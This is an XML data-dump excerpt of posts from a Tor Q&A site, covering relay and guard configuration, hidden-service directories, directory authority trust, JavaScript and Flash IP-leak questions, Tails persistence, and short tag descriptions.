  <row Id="10056" PostTypeId="2" ParentId="10050" CreationDate="2016-04-04T14:33:01.350" Score="0" Body="&lt;p&gt;The only problem you will have is a pluggable transports : you'll probably encounter poor TLS/SSL MitM attempts and you should try Meek and OBFS 3 &lt;strong&gt;and&lt;/strong&gt; 4 : sometimes in HTTPS sniffing cases OBFS v3 will fail but OBFSv4 will succeed, sometimes vice versa. If it still fails - try Meek. Your boss can &lt;em&gt;try&lt;/em&gt; to intercept &lt;em&gt;the traffic&lt;/em&gt; - but when you'll connect to Tor, it will be unable to circumvert &lt;em&gt;the Tor itself&lt;/em&gt; - he will need to hack the machine to do so.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-04T14:33:01.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10061" PostTypeId="1" CreationDate="2016-04-05T11:31:08.687" Score="1" ViewCount="59" Body="&lt;p&gt;I've set up a tor relay that has no Guard flag, but I want to use it as a Guard relay when I use Tor from outside. But sometimes it works and sometimes not. Why is this so hard and what can I do to use my relay at any time when it's up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my client, I added the followind line to the torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; EntryNodes $fingerprint_of_my_relay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong with this?&lt;/p&gt;&#xA;" OwnerUserId="12379" LastEditorUserId="88" LastEditDate="2016-04-05T20:39:23.013" LastActivityDate="2016-04-05T20:39:23.013" Title="Why is it so hard to use an internal relay that has no Guard flag as Guard Relay?" Tags="|client|guard|guard-node|server|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10062" PostTypeId="1" CreationDate="2016-04-05T13:20:47.003" Score="2" ViewCount="1527" Body="&lt;p&gt;if i have a relay with the HSdir flag, there is a way to know what are the hidden services descriptor hosted on it? &#xA;in other word, can i list all hidden services present in the hash table of a relay?&#xA;or better how can i know what hidden services are managed by my relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you in advance for your reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like list HS without modify tor's source code&lt;/p&gt;&#xA;" OwnerUserId="12375" LastEditorUserId="12375" LastEditDate="2016-06-09T10:28:29.203" LastActivityDate="2016-06-09T10:28:29.203" Title="List hidden service managed by an HSDIR" Tags="|onion-services|relays|hsdir|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10063" PostTypeId="2" ParentId="10062" CreationDate="2016-04-05T14:46:37.447" Score="2" Body="&lt;p&gt;According to this post on the Tor blog: &lt;a href=&quot;https://blog.torproject.org/category/tags/hidden-services&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/category/tags/hidden-services&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you don't know a hidden service address, then under the new system, you won't find it out just by hosting its HSDir entry.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole point of an onion service is that it can stay hidden if the owner wants to do so. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-05T14:46:37.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10066" PostTypeId="1" CreationDate="2016-04-05T20:56:27.263" Score="2" ViewCount="368" Body="&lt;p&gt;How does handshake with directory server work in the standard setup? How does it work when you configure Tor Browser to use a custom bridge?&lt;/p&gt;&#xA;" OwnerUserId="12387" LastEditorUserId="88" LastEditDate="2016-04-06T12:17:44.810" LastActivityDate="2016-04-06T18:59:03.570" Title="How does handshake with directory server work?" Tags="|directory|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10067" PostTypeId="1" CreationDate="2016-04-05T21:01:46.433" Score="4" ViewCount="505" Body="&lt;p&gt;How Tor Browser knows that a directory server is legit? Does it have their certificates hardcoded?&lt;/p&gt;&#xA;" OwnerUserId="12387" LastActivityDate="2016-10-04T00:29:51.773" Title="How Tor Browser knows that a directory server is legit?" Tags="|directory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10068" PostTypeId="1" CreationDate="2016-04-06T03:24:09.943" Score="5" ViewCount="593" Body="&lt;p&gt;I've got this working link from my friend.&#xA;And I'm interested in use 2nd level(sub) domain for my own.&#xA;Where's the official Tor statement that subdomain of onion is allowed?&lt;/p&gt;&#xA;&lt;p&gt;working link:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;NoMercy Easylist / NoMercy Easyprivacy&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://repo.a2af37vnxe44tcgo.onion/data/abl/adblock.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://repo.a2af37vnxe44tcgo.onion/data/abl/adblock.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12390" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-04-06T16:20:12.427" Title="Sub domain of .onion is allowed officialy?" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10071" PostTypeId="1" CreationDate="2016-04-06T08:54:19.847" Score="3" ViewCount="814" Body="&lt;p&gt;So I am going to set up a Raspberry Pi Onion Router and I normally use the browser bundle would it be bad? More effective? Or just as effective as using just the browser bundle?&lt;/p&gt;&#xA;" OwnerUserId="12395" LastEditorUserId="88" LastEditDate="2016-04-06T12:20:54.280" LastActivityDate="2016-08-12T16:36:33.053" Title="Running Tor over Tor" Tags="|tor-browser-bundle|onion-routing|raspberry-pi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10073" PostTypeId="1" AcceptedAnswerId="10079" CreationDate="2016-04-06T10:26:04.793" Score="4" ViewCount="8305" Body="&lt;p&gt;Say one's using GNU/Linux with a Tor daemon setup on a given local port (which happens not to be 9050). Web browsing traffic currently goes like this: vanilla Firefox -&gt; Privoxy -&gt; Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say one would like to replace Firefox with the Tor browser from the 'hardened' official TBB package. As the browser gets invoked via the launcher script, it starts its own bundled Tor proxy and it works alright. But telling it to use Privoxy or even existing Tor directly (via proxy settings) won't make it connect to the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to configure the Tor browser to use already available Tor channels on the system?&lt;/p&gt;&#xA;" OwnerUserId="12396" LastActivityDate="2017-05-22T14:19:13.163" Title="How to run the Tor browser without the bundled Tor proxy?" Tags="|configuration|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10075" PostTypeId="1" CreationDate="2016-04-06T13:30:12.667" Score="1" ViewCount="4474" Body="&lt;p&gt;Can JavaScript get my real IP even if I'm using Tor Browser? I thought Tor Browser deactivated JS by default, but I think it's not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12399" LastEditorUserId="88" LastEditDate="2016-04-07T19:56:39.987" LastActivityDate="2016-04-07T19:56:39.987" Title="Can JavaScript get my real IP?" Tags="|deanonymization|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10076" PostTypeId="2" ParentId="10068" CreationDate="2016-04-06T16:20:12.427" Score="3" Body="&lt;p&gt;It works in web browsers. Tor daemons will ignore subdomains, but browsers will pass them along in Host headers in the usual way.&lt;/p&gt;&#xA;" OwnerUserId="10551" LastActivityDate="2016-04-06T16:20:12.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10077" PostTypeId="2" ParentId="10066" CreationDate="2016-04-06T18:59:03.570" Score="1" Body="&lt;p&gt;It is an SSL/TLS standard handshake, no homebrew magic : all directory servers' keys and IP addresses are hardcoded into the tor source, you can try adding some extra, if there's a need for some special purposes - some hacks in a config files are posssible. If you're using a Bridge - it helps you to connect to the Tor network itself, and you can also instruct your tor client(whatever it is - in a TBB or a standalone official binary) to fetch an additional info from Bridge(s). If you will do so, some data signed by directory servers can be obtained from a Bridge(s), and actualized via direct request &lt;em&gt;a bit later&lt;/em&gt;. See also official docs for &lt;code&gt;FastFirstHopPK 0&lt;/code&gt; mode - it alters and slows the handshake you're interested in abit, but adding some security. Feel free to ask questions if you need more info!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-06T18:59:03.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10078" PostTypeId="2" ParentId="10075" CreationDate="2016-04-06T19:06:51.767" Score="1" Body="&lt;p&gt;yes, the JS itself is capable of making an external requests in a several ways, like simple HTTP GET &quot;some-javascript.php&quot; with a js content type, incorporating the IP address of the HTTP request, to using &lt;code&gt;document.write()&lt;/code&gt; and planting some plugin-related ip checkers, like flash pixel - or just &lt;em&gt;simply make a XmlHttpRequest&lt;/em&gt; to the server-side script, returning an IP via JSON. There are alot of ways - and it's not TBB-specific, actually.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-06T19:06:51.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10079" PostTypeId="2" ParentId="10073" CreationDate="2016-04-06T19:55:32.377" Score="4" Body="&lt;p&gt;Go to about:addons, click on the Extensions tab, and disable the Torbutton and TorLauncher settings. After restarting the Tor Browser, go to about:preferences#advanced, select the Network tab, and configure your proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to be able to change your Privacy and Security settings, you can keep the Torbutton extension enabled. It will just have an X on it indicating that the browser is not connected to Tor. (Torbutton checks for the bundled proxy)&lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="12240" LastEditDate="2017-05-22T14:19:13.163" LastActivityDate="2017-05-22T14:19:13.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10081" PostTypeId="1" CreationDate="2016-04-06T22:23:09.473" Score="1" ViewCount="2404" Body="&lt;p&gt;Sorry but since &quot;add a comment&quot; only brought up a sign-up-window this will be a new question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is again about allowing flash content to be played within the TOR-Browser. Every one just answers it would be insecure and thus is blocked even if the plugin is enabled and the player installed. Flash may leak the IP-Adress.. to whom? The flash site itself might get to know who I am, but the provider of the internet I'm using will not. And that is still some kind of anonymity wished for as long as flash is still around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one answer is 'go VPN instead'. But why do you want to kick out flash users from the TOR-Community? The whole idea was to get lots of people using TOR for normal reasons so that whistleblowers for example can hide in that crowd. And what is a more normal use of internet/TOR than browsing for porn? As long as the NSA-Buildings we all got to see in the Snowden-News are not hosting a majority of all porn content to get the real identity of TOR-Users that porn surfing crowd is helping to hide other more critical guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do think blocking flash is a terrible decision. Warning about Flash is enough. Also No-Script can be just deactivated allowing Java-Scripts leaking the IP adress and no one is blocking that. It just works the way flash used to work in TOR.&#xA;Just allow everything every normal web browsing user would expect to work. And allow to go back to full-safe-mode with one click. And that's it. Security for the ones who require it, Comfortability for the crowd protecting that kind of dudes and porn for the ones takeing a break from being full secure without haveing to rely on another product (VPN).&lt;/p&gt;&#xA;" OwnerUserId="12405" LastActivityDate="2016-04-07T01:08:20.377" Title="Allowing Flash Player even though its insecure" Tags="|vpn|flash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10082" PostTypeId="2" ParentId="2098" CreationDate="2016-04-06T23:05:33.337" Score="2" Body="&lt;p&gt;The Tor Browser &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#deprecate&quot; rel=&quot;nofollow&quot;&gt;design document&lt;/a&gt; explains:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We haven't disabled or restricted the Referer ourselves because of the non-trivial number of sites that rely on [it]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there is a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17228&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; that suggests to disable the refer(r)er. So the discussion of what's the best trade-of is still open.&lt;/p&gt;&#xA;" OwnerUserId="9365" LastActivityDate="2016-04-06T23:05:33.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10083" PostTypeId="2" ParentId="10075" CreationDate="2016-04-06T23:05:47.073" Score="2" Body="&lt;p&gt;I'm no expert, but the most convincing answer I found is: no, JavaScript, as it is implemented in TBB, can't get your real IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of confusion about that in the Web. Just do a web search and you will get a lot of different answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like JS was originally designed in a way that it can't get your IP. People usually could do that using workarounds like requesting an external server to get your IP and then taking it back somehow. See &lt;a href=&quot;https://stackoverflow.com/a/391982&quot;&gt;Shog9's answer&lt;/a&gt; in Stack Overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It changed recently with WebRTC. This standard empowers JS and makes it possible to get real IP using client-side code only. Fortunately TBB did not implement that standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find a lot of people saying that JS can give away your IP because someone could exploit some bug. While it's totally true, it's also true for every piece of software involved in Tor, so it's just no real answer.&lt;/p&gt;&#xA;" OwnerUserId="12406" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-04-06T23:11:57.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10084" PostTypeId="2" ParentId="10081" CreationDate="2016-04-07T01:08:20.377" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Flash may leak the IP-Address... to whom?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To whoever you're trying to hide from in the first place. The website will load through Tor, but Flash Player does not obey proxy rules, and will make a direct connection to the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once Flash Player makes a direct connection to the website, it doesn't matter if you're using Tor. Your ISP, the website owners, and even someone on the same Wi-Fi network can see the direct connection from Flash Player, and figure out what website you're going to, and possibly see what you're watching in Flash Player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas, since this is a question-and-answer website, there is a way to use Flash Player through Tor. With the Tor Browser open, go to your personal browser, and change the proxy settings to use a SOCKS5 proxy at &lt;code&gt;127.0.0.1:9150&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, with a little more configuration, you can install &lt;code&gt;tor&lt;/code&gt; and configure it to only run as a local proxy.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-07T01:08:20.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10085" PostTypeId="2" ParentId="10015" CreationDate="2016-04-07T01:25:32.010" Score="1" Body="&lt;p&gt;Let's condense the answer from the Tor website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. Internet packets have information about your OS. Depending on how your computer is set up, trackers might be able to fingerprint your computer based on the OS features given in the packets. (for more info on fingerprinting, visit &lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow&quot;&gt;https://panopticlick.eff.org&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. We still need a user control, like the Torbutton in the Tor Browser, that way you can easily change Tor settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. There are other ways programs can leak your information. For example, if DNS requests are sent to your ISP, your ISP can still see what websites you're going to. Tor devs need to figure out a way to rewrite these requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d. Once Tor devs decide how to transfer packets, they need to design a new Tor protocol to avoid anonymity and integrity issues that might occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e. Exit policies would become a &lt;em&gt;lot&lt;/em&gt; more complicated, and so would security for exit nodes. Tor devs also need a way to include the exit policies in the directory servers so the client knows which exit nodes to connect to. (normal web browsing happens on port 80 and 443. adding other traffic means more ports, so you need to find more exit nodes that allow those ports)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f. Onion websites work by intercepting the address in the Tor client. Doing this at the IP level means complications between Tor and the local DNS settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize, it's much easier to anonymize web traffic, so that's what Tor did. Anonymizing &lt;em&gt;all&lt;/em&gt; traffic means a more complicated Tor program, and more potential data leaks.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-07T01:25:32.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10086" PostTypeId="2" ParentId="9849" CreationDate="2016-04-07T01:37:28.227" Score="2" Body="&lt;p&gt;This is most likely a conflict between your VPN and Tor. Here's my thoughts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nord VPN gives you a specific IP address to use. When you connect through IE, you have the VPN IP, so you are &quot;protected.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor gives you a different IP address. When you connect through the Tor Browser, the VPN sees a different IP, so it thinks that you aren't connected to the VPN, and thus &quot;unprotected.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize the internet traffic, here's what happens through Internet Explorer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Device (ISP, &quot;unprotected&quot;) ==&amp;gt; Nord VPN (&quot;protected&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when you go through Tor,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Device (ISP, &quot;unprotected&quot;) ==&amp;gt; Nord VPN (&quot;protected&quot;) ==&amp;gt; Tor (random IP, &quot;unprotected&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since Nord doesn't own the Tor IP, it says you are unprotected. In reality, you are still protected by Tor and your VPN.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-07T01:37:28.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10087" PostTypeId="2" ParentId="9828" CreationDate="2016-04-07T01:41:05.217" Score="1" Body="&lt;p&gt;All relays publish their descriptor to the directory servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All hidden services publish their service to the hidden service directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a Tor client builds a circuit, it asks the directory server for a guard, middle, and exit relay. When you connect to a hidden service, it asks the hidden service directory for the required information to connect.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-07T01:41:05.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10088" PostTypeId="2" ParentId="9711" CreationDate="2016-04-07T01:46:42.453" Score="1" Body="&lt;p&gt;This sounds normal. When you set up a bridge, you add more than 1 bridge to the Tor Browser. For whatever reason, Tor decided to use one of the other bridges instead. There are any number of reasons why Tor would use a different bridge. Maybe it was just time to refresh which bridge was in use, similar to how Tor chooses new guards after a period of time.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-07T01:46:42.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10089" PostTypeId="1" CreationDate="2016-04-07T02:32:22.670" Score="2" ViewCount="10245" Body="&lt;p&gt;I have tails installed in a pen drive (non in live mode but using the pen drive with a HDD) and I want to save the configuration. I read that I have that to use the &quot;volume persistence&quot;, but I don't know as I have to configure it. Do you know the correct way to save the configuration on tails? I want to set, for example, the region and language, and also the keyboard language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and regards, Kathy&lt;/p&gt;&#xA;" OwnerUserId="12176" LastActivityDate="2019-08-07T09:13:42.960" Title="Save configurations in tails" Tags="|configuration|tails|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10090" PostTypeId="2" ParentId="10089" CreationDate="2016-04-07T07:04:22.170" Score="2" Body="&lt;p&gt;you cannot save the region, language and keyboard language in the encrypted persistence of tails. these settings always have to be set in the greeter. You can find a list of &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/configure/index.en.html#index3h1&quot; rel=&quot;nofollow&quot;&gt;persistence features in the tails documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user6590" LastActivityDate="2016-04-07T07:04:22.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10092" PostTypeId="1" AcceptedAnswerId="10114" CreationDate="2016-04-07T13:50:42.570" Score="1" ViewCount="2380" Body="&lt;p&gt;Assume that I installed Tor on my PC and used it from IP1. I then bring my PC to another location and use Tor from IP2. So will my Three Guard Nodes be changed? If not, where in the packet can I find the information of these 3 Guard nodes?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2016-04-07T16:38:17.853" Title="Does Tor change the Guard node (Entry node) if I connect my PC from a different IP address?" Tags="|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10093" PostTypeId="1" CreationDate="2016-04-07T13:58:07.040" Score="2" ViewCount="1015" Body="&lt;p&gt;I'm installing Tails on my USB drive and its working as expected. However, when I plug the USB on my colleague's PC, it's not recognizing. There's no firewall or any security limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to make Tails completely portable. If installed and used via Kali Linux, I would have to reboot the PC, which I don't want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="12418" LastActivityDate="2019-04-01T18:40:31.147" Title="Running Tails from USB without rebooting" Tags="|tails|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10094" PostTypeId="2" ParentId="10067" CreationDate="2016-04-07T14:19:02.573" Score="2" Body="&lt;p&gt;I assume that you downloaded a valid copy of Tor or Tor Browser. The source code contains information about all current directory authorities. (&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/config.c#n902&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;config.c&lt;/code&gt;&lt;/a&gt;). Currently there are &lt;a href=&quot;https://tor.stackexchange.com/q/4852/88&quot;&gt;nine authorities&lt;/a&gt; which you can also find within &lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file contains an IP address as well as the fingerprint of the authorities. When the client connects to the authorities it will check the fingerprint. It is not possible for an attacker to reproduce this fingerprint. Here are some further discussions about &lt;a href=&quot;https://tor.stackexchange.com/a/4829/88&quot;&gt;what happens when nodes are compromised or taken down&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-04-07T14:19:02.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10098" PostTypeId="5" CreationDate="2016-04-07T15:54:42.607" Score="0" Body="&lt;p&gt;&lt;em&gt;Censorship&lt;/em&gt; is the suppression of information  and is often done by governments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goverments often want to have the power what kind of informations users see or not. An important example is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Great_Firewall&quot; rel=&quot;nofollow&quot;&gt;Great Firewall of China&lt;/a&gt;. A system of different methods to block or control information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All questions which deal with censorship or circumvention of censorship or on topic here.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T15:54:42.607" LastActivityDate="2016-04-07T15:54:42.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10099" PostTypeId="4" CreationDate="2016-04-07T15:54:42.607" Score="0" Body="Censorship is the suppression of information  and is often done by governments." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T15:54:42.607" LastActivityDate="2016-04-07T15:54:42.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10100" PostTypeId="5" CreationDate="2016-04-07T16:01:33.640" Score="0" Body="&lt;p&gt;Ubuntu is an operating system which is based on GNU/Linux, or more specifically on &lt;a href=&quot;https://debian.org/&quot; rel=&quot;nofollow&quot;&gt;Debian&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StackExchange has an own site, &lt;a href=&quot;https://askubuntu.com/&quot;&gt;AskUbuntu&lt;/a&gt; which deals with all Ubuntu-related questions.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:01:33.640" LastActivityDate="2016-04-07T16:01:33.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10101" PostTypeId="4" CreationDate="2016-04-07T16:01:33.640" Score="0" Body="Ubuntu is an operating system which is based on GNU/Linux." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:01:33.640" LastActivityDate="2016-04-07T16:01:33.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10102" PostTypeId="5" CreationDate="2016-04-07T16:03:51.970" Score="0" Body="&lt;p&gt;All questions which deal with Tor as a client are on topic here. If you have questions regarding &lt;a href=&quot;/questions/tagged/tor-browser&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;tor-browser&amp;#39;&quot; rel=&quot;tag&quot;&gt;tor-browser&lt;/a&gt;, please use this, more specific, tags.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:03:51.970" LastActivityDate="2016-04-07T16:03:51.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10103" PostTypeId="4" CreationDate="2016-04-07T16:03:51.970" Score="0" Body="Questions which deal with Tor as a client." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:03:51.970" LastActivityDate="2016-04-07T16:03:51.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10104" PostTypeId="5" CreationDate="2016-04-07T16:06:39.440" Score="0" Body="&lt;p&gt;A guard node is the entry node into the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:06:39.440" LastActivityDate="2016-04-07T16:06:39.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10105" PostTypeId="4" CreationDate="2016-04-07T16:06:39.440" Score="0" Body="A guard node is the entry node into the Tor network." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:06:39.440" LastActivityDate="2016-04-07T16:06:39.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10106" PostTypeId="5" CreationDate="2016-04-07T16:08:28.793" Score="0" Body="&lt;p&gt;Python is a programming language. For Tor there is the &lt;a href=&quot;/questions/tagged/stem&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;stem&amp;#39;&quot; rel=&quot;tag&quot;&gt;stem&lt;/a&gt; library. You can use it to control the Tor software&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:08:28.793" LastActivityDate="2016-04-07T16:08:28.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10107" PostTypeId="4" CreationDate="2016-04-07T16:08:28.793" Score="0" Body="Python is a programming language. For Tor there is the Stem library." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:08:28.793" LastActivityDate="2016-04-07T16:08:28.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10108" PostTypeId="5" CreationDate="2016-04-07T16:09:24.690" Score="0" Body="" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:09:24.690" LastActivityDate="2016-04-07T16:09:24.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10109" PostTypeId="4" CreationDate="2016-04-07T16:09:24.690" Score="0" Body="Questions regarding the development of Tor or one of its sub-projects." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:09:24.690" LastActivityDate="2016-04-07T16:09:24.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10110" PostTypeId="5" CreationDate="2016-04-07T16:11:35.623" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt; is a controller library for Tor. It is based on &lt;a href=&quot;/questions/tagged/python&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;python&amp;#39;&quot; rel=&quot;tag&quot;&gt;python&lt;/a&gt;, the programming language. You can use it with Tor's control protocol to work with the Tor process.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:11:35.623" LastActivityDate="2016-04-07T16:11:35.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10111" PostTypeId="4" CreationDate="2016-04-07T16:11:35.623" Score="0" Body="Stem is a controller library for Tor. It is based on Python." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:11:35.623" LastActivityDate="2016-04-07T16:11:35.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
